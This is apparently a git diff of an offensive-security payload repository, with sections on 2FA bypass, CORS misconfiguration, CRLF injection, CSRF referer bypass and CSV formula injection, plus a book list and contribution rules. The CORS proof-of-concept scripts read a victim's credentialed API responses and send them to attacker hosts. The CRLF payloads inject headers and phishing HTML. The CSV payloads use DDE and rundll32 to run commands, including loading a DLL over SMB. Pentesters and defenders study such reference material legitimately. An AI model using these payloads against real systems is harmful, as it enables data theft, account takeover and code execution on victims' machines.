|
||||
|
||||
Possible to brute-force any length 2FA Code
|
||||
|
||||
### Missing 2FA Code Integrity Validation
|
||||
|
||||
Code for any user acc can be used to bypass the 2FA
|
||||
|
||||
### CSRF on 2FA Disabling
|
||||
|
||||
No CSRF Protection on disabling 2FA, also there is no auth confirmation
|
||||
|
||||
### Password Reset Disable 2FA
|
||||
|
||||
2FA gets disabled on password change/email change
|
||||
|
||||
### Backup Code Abuse
|
||||
|
||||
Bypassing 2FA by abusing the Backup code feature
|
||||
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
|
||||
|
||||
### Clickjacking on 2FA Disabling Page
|
||||
|
||||
Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
|
||||
|
||||
### Enabling 2FA doesn't expire Previously active Sessions
|
||||
|
||||
If the session is already hijacked and there is a session timeout vuln
|
||||
|
||||
### Bypass 2FA with null or 000000
|
||||
Enter the code **000000** or **null** to bypass 2FA protection.
|
||||
|
||||
### Bypass 2FA with array
|
||||
|
||||
```json
|
||||
{
|
||||
"otp":[
|
||||
"1234",
|
||||
"1111",
|
||||
"1337", // GOOD OTP
|
||||
"2222",
|
||||
"3333",
|
||||
"4444",
|
||||
"5555"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## TODO
|
||||
|
||||
* Broken cryptography
|
||||
* Session hijacking
|
||||
* OAuth misconfiguration
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [10 Password Reset Flaws - Anugrah SR](http://anugrahsr.me/posts/10-Password-reset-flaws/)
|
||||
- [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=gzM4wWA7RFo&feature=youtu.be)
|
||||
- [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
|
||||
- [Hacking Grindr Accounts with Copy and Paste - Troy HUNT & Wassime BOUIMADAGHENE - 03 OCTOBER 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
|
||||
- [CTFd Account Takeover](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
59
BOOKS.md
@@ -1,22 +1,43 @@
|
||||
# Book's list
|
||||
# Books
|
||||
|
||||
Grab a book and relax, these ones are the best security books (in my opinion).
|
||||
> Grab a book and relax. Some of the best books in the industry.
|
||||
|
||||
- [Web Hacking 101](https://leanpub.com/web-hacking-101)
|
||||
- [Advanced Penetration Testing: Hacking the World's Most Secure Networks by Wil Allsopp (2017)](https://www.goodreads.com/book/show/32027337-advanced-penetration-testing)
|
||||
- [Android Hacker's Handbook by Joshua J. Drake et al. (2014)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html)
|
||||
- [Android Security Internals: An In-Depth Guide to Android's Security Architecture by Nikolay Elenkov (2015)](https://nostarch.com/androidsecurity)
|
||||
- [Attacking Network Protocols: A Hacker's Guide to Capture, Analysis, and Exploitation by James Forshaw (2018)](https://nostarch.com/networkprotocols)
|
||||
- [Black Hat Go: Go Programming for Hackers and Pentesters by Tom Steele, Chris Patten, and Dan Kottmann (2020)](https://nostarch.com/blackhatgo)
|
||||
- [Black Hat Python: Python Programming for Hackers and Pentesters by Justin Seitz (2014)](https://www.goodreads.com/book/show/22299369-black-hat-python)
|
||||
- [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec)
|
||||
- [OWASP Testing Guide v4](https://www.owasp.org/index.php/OWASP_Testing_Project)
|
||||
- [Penetration Testing: A Hands-On Introduction to Hacking](http://amzn.to/2dhHTSn)
|
||||
- [The Hacker Playbook 2: Practical Guide to Penetration Testing](http://amzn.to/2d9wYKa)
|
||||
- [The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition](http://a.co/6MqC9bD)
|
||||
- [The Mobile Application Hacker’s Handbook](http://amzn.to/2cVOIrE)
|
||||
- [Black Hat Python: Python Programming for Hackers and Pentesters](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)
|
||||
- [Metasploit: The Penetration Tester's Guide](https://www.nostarch.com/metasploit)
|
||||
- [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
|
||||
- [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
|
||||
- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
|
||||
- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)
|
||||
- [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html)
|
||||
- [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html)
|
||||
- [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
|
||||
- [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
|
||||
- [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking)
|
||||
- [Car Hacker's Handbook by Craig Smith (2016)](https://www.nostarch.com/carhacking)
|
||||
- [Cyberjutsu: Cybersecurity for the Modern Ninja by Ben McCarty (2021)](https://nostarch.com/cyberjutsu)
|
||||
- [Foundations of Information Security: A Straightforward Introduction by Jason Andress (2019)](https://nostarch.com/foundationsinfosec)
|
||||
- [Game Hacking: Developing Autonomous Bots for Online Games by Nick Cano (2016)](https://nostarch.com/gamehacking)
|
||||
- [Gray Hat Python: Python Programming for Hackers and Reverse Engineers by Justin Seitz (2009)](https://www.goodreads.com/book/show/5044768-gray-hat-python)
|
||||
- [Hacking: The Art of Exploitation by Jon Erickson (2004)](https://www.goodreads.com/book/show/61619.Hacking)
|
||||
- [iOS Hacker's Handbook by Charlie Miller et al. (2012)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html)
|
||||
- [Metasploit: The Penetration Tester's Guide by David Kennedy (2011)](https://www.nostarch.com/metasploit)
|
||||
- [OWASP Testing Guide: Stable](https://owasp.org/www-project-web-security-testing-guide/stable/)
|
||||
- [Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman (2014)](https://nostarch.com/pentesting)
|
||||
- [Pentesting Azure Applications: The Definitive Guide to Testing and Securing Deployments by Matt Burrough (2018)](https://nostarch.com/azure)
|
||||
- [Pratical Binary Analysis: Build Your Own Linux Tools for Binary instrumentation, Analysis, and Disassembly by Dennis Andriesse (2019)](https://nostarch.com/binaryanalysis)
|
||||
- [Pratical Forensic Imaging: Securing Digital Evidence with Linux Tools by Bruce Nikkel (2016)](https://nostarch.com/forensicimaging)
|
||||
- [Pratical IoT Hacking: The Definitive Guide to Attacking the Internet of Things by Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou and Beau Woods (2021)](https://nostarch.com/practical-iot-hacking)
|
||||
- [Practical Doomsday: A User's Guide to the End of the World by Michal Zalewski (2022)](https://nostarch.com/practical-doomsday)
|
||||
- [Practical Social Engineering: A Primer for the Ethical Hacker by Joe Gray (2022)](https://nostarch.com/practical-social-engineering)
|
||||
- [Real-World Bug Hunting: A Field Guide to Web Hacking by Peter Yaworski (2019)](https://nostarch.com/bughunting)
|
||||
- [Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats by Alex Matrosov, Eugene Rodionov, and Sergey Bratus (2019)](https://nostarch.com/rootkits)
|
||||
- [The Art of Cyberwarfare: An Investigator's Guide to Espionage, Ransomware, and Organized Cybercrime by Jon DiMaggio (2022)](https://nostarch.com/art-cyberwarfare)
|
||||
- [The Car Hacker's Handbook: A Guide for the Penetration Tester by Craig Smith (2016)](https://nostarch.com/carhacking)
|
||||
- [The Browser Hacker's Handbook by Wade Alcorn et al. (2014)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
|
||||
- [The Database Hacker's Handbook, David Litchfield et al. (2005)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
|
||||
- [The Hacker Playbook: Practical Guide To Penetration Testing by Peter Kim (2014)](https://www.goodreads.com/book/show/21846565-the-hacker-playbook)
|
||||
- [The Hacker Playbook 2: Practical Guide to Penetration Testing by Peter Kim (2015)](https://www.goodreads.com/book/show/25791488-the-hacker-playbook-2)
|
||||
- [The Hacker Playbook 3: Practical Guide to Penetration Testing (Red Team Edition) by Peter Kim (2018)](https://www.goodreads.com/book/show/40028366-the-hacker-playbook-3)
|
||||
- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi (2009)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
|
||||
- [The Hardware Hacking Handbook by Jasper van Woudenberg & Colin O'Flynn (2022)](https://nostarch.com/hardwarehacking)
|
||||
- [The Mobile Application Hacker's Handbook by Dominic Chell et al. (2015)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
|
||||
- [The Shellcoders Handbook by Chris Anley et al. (2007)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
|
||||
- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto (2011)](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)
|
||||
- [Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers by T.J. O'Connor (2012)](https://www.goodreads.com/book/show/16192263-violent-python)
|
||||
- [Web Hacking 101](https://leanpub.com/web-hacking-101)
|
||||
|
||||
63
CONTRIBUTING.md
Normal file
@@ -0,0 +1,63 @@
|
||||
# CONTRIBUTING
|
||||
|
||||
PayloadsAllTheThings' Team :heart: pull requests :)
|
||||
Feel free to improve with your payloads and techniques !
|
||||
|
||||
You can also contribute with a :beers: IRL, or using the sponsor button.
|
||||
|
||||
## Pull Requests Guidelines
|
||||
|
||||
In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request.
|
||||
|
||||
- Payloads must be sanitized
|
||||
- Use `id`, and `whoami`, for RCE Proof of Concepts
|
||||
- Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
|
||||
- Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
|
||||
- Use `Administrator` for privileged users and `User` for normal account
|
||||
- Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
|
||||
- Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
|
||||
- References must have an `author`, a `title` and a `link`. The `date` is not mandatory but appreciated :)
|
||||
|
||||
## Techniques Folder
|
||||
|
||||
Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder:
|
||||
|
||||
- README.md - vulnerability description and how to exploit it, including several payloads, more below
|
||||
- Intruder - a set of files to give to Burp Intruder
|
||||
- Images - pictures for the README.md
|
||||
- Files - some files referenced in the README.md
|
||||
|
||||
## README.md format
|
||||
|
||||
Use the following example to create a new technique `README.md` file.
|
||||
|
||||
```markdown
|
||||
# Vulnerability Title
|
||||
|
||||
> Vulnerability description
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Something](#something)
|
||||
* [Subentry 1](#sub1)
|
||||
* [Subentry 2](#sub2)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
- [Tool 1](https://example.com)
|
||||
- [Tool 2](https://example.com)
|
||||
|
||||
## Something
|
||||
|
||||
Quick explanation
|
||||
|
||||
### Subentry 1
|
||||
|
||||
Something about the subentry 1
|
||||
|
||||
## References
|
||||
|
||||
- [Blog title - Author, Date](https://example.com)
|
||||
```
|
||||
262
CORS Misconfiguration/README.md
Normal file
@@ -0,0 +1,262 @@
|
||||
# CORS Misconfiguration
|
||||
|
||||
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Prerequisites](#prerequisites)
|
||||
* [Exploitation](#exploitation)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/)
|
||||
* [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html)
|
||||
|
||||
## Prerequisites
|
||||
|
||||
* BURP HEADER> `Origin: https://evil.com`
|
||||
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
|
||||
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
|
||||
|
||||
## Exploitation
|
||||
|
||||
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
|
||||
|
||||
### Vulnerable Example: Origin Reflection
|
||||
|
||||
#### Vulnerable Implementation
|
||||
|
||||
```powershell
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: victim.example.com
|
||||
Origin: https://evil.com
|
||||
Cookie: sessionid=...
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: https://evil.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
||||
{"[private API key]"}
|
||||
```
|
||||
|
||||
#### Proof of concept
|
||||
|
||||
This PoC requires that the respective JS script is hosted at `evil.com`
|
||||
|
||||
```js
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://victim.example.com/endpoint',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='//atttacker.net/log?key='+this.responseText;
|
||||
};
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<h2>CORS PoC</h2>
|
||||
<div id="demo">
|
||||
<button type="button" onclick="cors()">Exploit</button>
|
||||
</div>
|
||||
<script>
|
||||
function cors() {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (this.readyState == 4 && this.status == 200) {
|
||||
document.getElementById("demo").innerHTML = alert(this.responseText);
|
||||
}
|
||||
};
|
||||
xhr.open("GET",
|
||||
"https://victim.example.com/endpoint", true);
|
||||
xhr.withCredentials = true;
|
||||
xhr.send();
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### Vulnerable Example: Null Origin
|
||||
|
||||
#### Vulnerable Implementation
|
||||
|
||||
It's possible that the server does not reflect the complete `Origin` header but
|
||||
that the `null` origin is allowed. This would look like this in the server's
|
||||
response:
|
||||
|
||||
```
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: victim.example.com
|
||||
Origin: null
|
||||
Cookie: sessionid=...
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: null
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
||||
{"[private API key]"}
|
||||
```
|
||||
|
||||
#### Proof of concept
|
||||
|
||||
This can be exploited by putting the attack code into an iframe using the data
|
||||
URI scheme. If the data URI scheme is used, the browser will use the `null`
|
||||
origin in the request:
|
||||
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://victim.example.com/endpoint',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
|
||||
### Vulnerable Example: XSS on Trusted Origin
|
||||
|
||||
If the application does implement a strict whitelist of allowed origins, the
|
||||
exploit codes from above do not work. But if you have an XSS on a trusted
|
||||
origin, you can inject the exploit coded from above in order to exploit CORS
|
||||
again.
|
||||
|
||||
```
|
||||
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
|
||||
```
|
||||
|
||||
### Vulnerable Example: Wildcard Origin `*` without Credentials
|
||||
|
||||
If the server responds with a wildcard origin `*`, **the browser does never send
|
||||
the cookies**. However, if the server does not require authentication, it's still
|
||||
possible to access the data on the server. This can happen on internal servers
|
||||
that are not accessible from the Internet. The attacker's website can then
|
||||
pivot into the internal network and access the server's data without authentication.
|
||||
|
||||
```powershell
|
||||
* is the only wildcard origin
|
||||
https://*.example.com is not valid
|
||||
```
|
||||
|
||||
#### Vulnerable Implementation
|
||||
|
||||
```powershell
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: api.internal.example.com
|
||||
Origin: https://evil.com
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: *
|
||||
|
||||
{"[private API key]"}
|
||||
```
|
||||
|
||||
#### Proof of concept
|
||||
|
||||
```js
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://api.internal.example.com/endpoint',true);
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='//atttacker.net/log?key='+this.responseText;
|
||||
};
|
||||
```
|
||||
|
||||
### Vulnerable Example: Expanding the Origin / Regex Issues
|
||||
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
|
||||
|
||||
#### Vulnerable Implementation (Example 1)
|
||||
|
||||
In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
|
||||
|
||||
```
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: api.example.com
|
||||
Origin: https://evilexample.com
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: https://evilexample.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
||||
{"[private API key]"}
|
||||
|
||||
```
|
||||
|
||||
#### Proof of concept (Example 1)
|
||||
|
||||
This PoC requires the respective JS script to be hosted at `evilexample.com`
|
||||
|
||||
```js
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://api.example.com/endpoint',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='//atttacker.net/log?key='+this.responseText;
|
||||
};
|
||||
```
|
||||
|
||||
#### Vulnerable Implementation (Example 2)
|
||||
|
||||
In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
|
||||
|
||||
```
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: api.example.com
|
||||
Origin: https://apiiexample.com
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: https://apiiexample.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
||||
{"[private API key]"}
|
||||
|
||||
```
|
||||
|
||||
#### Proof of concept (Example 2)
|
||||
|
||||
This PoC requires the respective JS script to be hosted at `apiiexample.com`
|
||||
|
||||
```js
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://api.example.com/endpoint',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='//atttacker.net/log?key='+this.responseText;
|
||||
};
|
||||
```
|
||||
|
||||
## Bug Bounty reports
|
||||
|
||||
* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574)
|
||||
* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147)
|
||||
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200)
|
||||
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249)
|
||||
* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298)
|
||||
|
||||
## References
|
||||
|
||||
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
|
||||
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/)
|
||||
* [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors)
|
||||
* [CORS Misconfigurations Explained - Detectify Blog](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
|
||||
@@ -1,20 +1,28 @@
|
||||
# CRLF
|
||||
|
||||
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
||||
>The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
||||
|
||||
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
|
||||
>A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
|
||||
|
||||
## Summary
|
||||
|
||||
- [CRLF - Add a cookie](#crlf---add-a-cookie)
|
||||
- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass)
|
||||
- [CRLF - Write HTML](#crlf---write-html)
|
||||
- [CRLF - Filter Bypass](#crlf---filter-bypass)
|
||||
- [References](#references)
|
||||
|
||||
## CRLF - Add a cookie
|
||||
|
||||
Requested page
|
||||
|
||||
```powershell
|
||||
```http
|
||||
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
|
||||
```
|
||||
|
||||
HTTP Response
|
||||
|
||||
```powershell
|
||||
```http
|
||||
Connection: keep-alive
|
||||
Content-Length: 178
|
||||
Content-Type: text/html
|
||||
@@ -37,7 +45,7 @@ http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
|
||||
|
||||
HTTP Response
|
||||
|
||||
```powershell
|
||||
```http
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 20 Dec 2016 14:34:03 GMT
|
||||
Content-Type: text/html; charset=utf-8
|
||||
@@ -62,13 +70,13 @@ X-XSS-Protection:0
|
||||
```http
|
||||
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
|
||||
```
|
||||
```powershell
|
||||
|
||||
HTTP response
|
||||
|
||||
```http
|
||||
Set-Cookie:en
|
||||
Content-Length: 0
|
||||
```powershell
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
|
||||
@@ -84,7 +92,7 @@ Content-Length: 34
|
||||
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
|
||||
```
|
||||
|
||||
```powershell
|
||||
Remainder:
|
||||
|
||||
* %E5%98%8A = %0A = \u560a
|
||||
* %E5%98%8D = %0D = \u560d
|
||||
@@ -95,6 +103,11 @@ Remainder:
|
||||
## Exploitation Tricks
|
||||
* Try to search for parameters that lead to redirects and fuzz them
|
||||
* Also test the mobile version of the website, sometimes it is different or uses a different backend
|
||||
|
||||
## References
|
||||
|
||||
* https://www.owasp.org/index.php/CRLF_Injection
|
||||
* https://vulners.com/hackerone/H1:192749
|
||||
## References
|
||||
|
||||
* https://www.owasp.org/index.php/CRLF_Injection
|
||||
|
||||
|
Before Width: | Height: | Size: 393 KiB After Width: | Height: | Size: 407 KiB |
@@ -7,13 +7,19 @@
|
||||
|
||||
* [Methodology](#methodology)
|
||||
* [Payloads](#payloads)
|
||||
* [HTML GET - Requiring User Interaction](#)
|
||||
* [HTML GET - No User Interaction)](#)
|
||||
* [HTML POST - Requiring User Interaction](#)
|
||||
* [HTML POST - AutoSubmit - No User Interaction](#)
|
||||
* [JSON GET - Simple Request](#)
|
||||
* [JSON POST - Simple Request](#)
|
||||
* [JSON POST - Complex Request](#)
|
||||
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
|
||||
* [HTML GET - No User Interaction)](#html-get---no-user-interaction)
|
||||
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
|
||||
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
|
||||
* [JSON GET - Simple Request](#json-get---simple-request)
|
||||
* [JSON POST - Simple Request](#json-post---simple-request)
|
||||
* [JSON POST - Complex Request](#json-post---complex-request)
|
||||
* [Bypass referer header validation check](#bypass-referer-header-validation)
|
||||
* [Basic payload](#basic-payload)
|
||||
* [With question mark payload](#with-question-mark-payload)
|
||||
* [With semicolon payload](#with-semicolon-payload)
|
||||
* [With subdomain payload](#with-subdomain-payload)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
@@ -99,6 +105,38 @@ xhr.send('{"role":admin}');
|
||||
</script>
|
||||
```
|
||||
|
||||
## Bypass referer header validation
|
||||
|
||||
### Basic payload
|
||||
```
|
||||
1) Open https://attacker.com/csrf.html
|
||||
2) Referer header is ..
|
||||
|
||||
Referer: https://attacker.com/csrf.html
|
||||
```
|
||||
### With question mark(`?`) payload
|
||||
```
|
||||
1) Open https://attacker.com/csrf.html?trusted.domain.com
|
||||
2) Referer header is ..
|
||||
|
||||
Referer: https://attacker.com/csrf.html?trusted.domain.com
|
||||
```
|
||||
|
||||
### With semicolon(`;`) payload
|
||||
```
|
||||
1) Open https://attacker.com/csrf.html;trusted.domain.com
|
||||
2) Referer header is ..
|
||||
|
||||
Referer: https://attacker.com/csrf.html;trusted.domain.com
|
||||
```
|
||||
|
||||
### With subdomain payload
|
||||
```
|
||||
1) Open https://trusted.domain.com.attacker.com/csrf.html
|
||||
2) Referer headers is ..
|
||||
|
||||
Referer: https://trusted.domain.com.attacker.com/csrf.html
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
@@ -114,4 +152,5 @@ xhr.send('{"role":admin}');
|
||||
- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
|
||||
- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
|
||||
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
|
||||
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](#https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
|
||||
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
|
||||
- [Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# CSV Injection (Formula Injection)
|
||||
|
||||
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
||||
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
||||
|
||||
## Exploit
|
||||
|
||||
@@ -20,6 +20,20 @@ DDE ("cmd";"/C calc";"!A0")A0
|
||||
|
||||
# msf smb delivery with rundll32
|
||||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||||
|
||||
# Prefix obfuscation and command chaining
|
||||
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
|
||||
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
|
||||
+thespanishinquisition(cmd|'/c calc.exe'!A
|
||||
= cmd|'/c calc.exe'!A
|
||||
|
||||
# Using rundll32 instead of cmd
|
||||
=rundll32|'URL.dll,OpenURL calc.exe'!A
|
||||
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
|
||||
|
||||
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
|
||||
= C m D | '/ c c al c . e x e ' ! A
|
||||
|
||||
```
|
||||
|
||||
Technical Details of the above payload:
|
||||
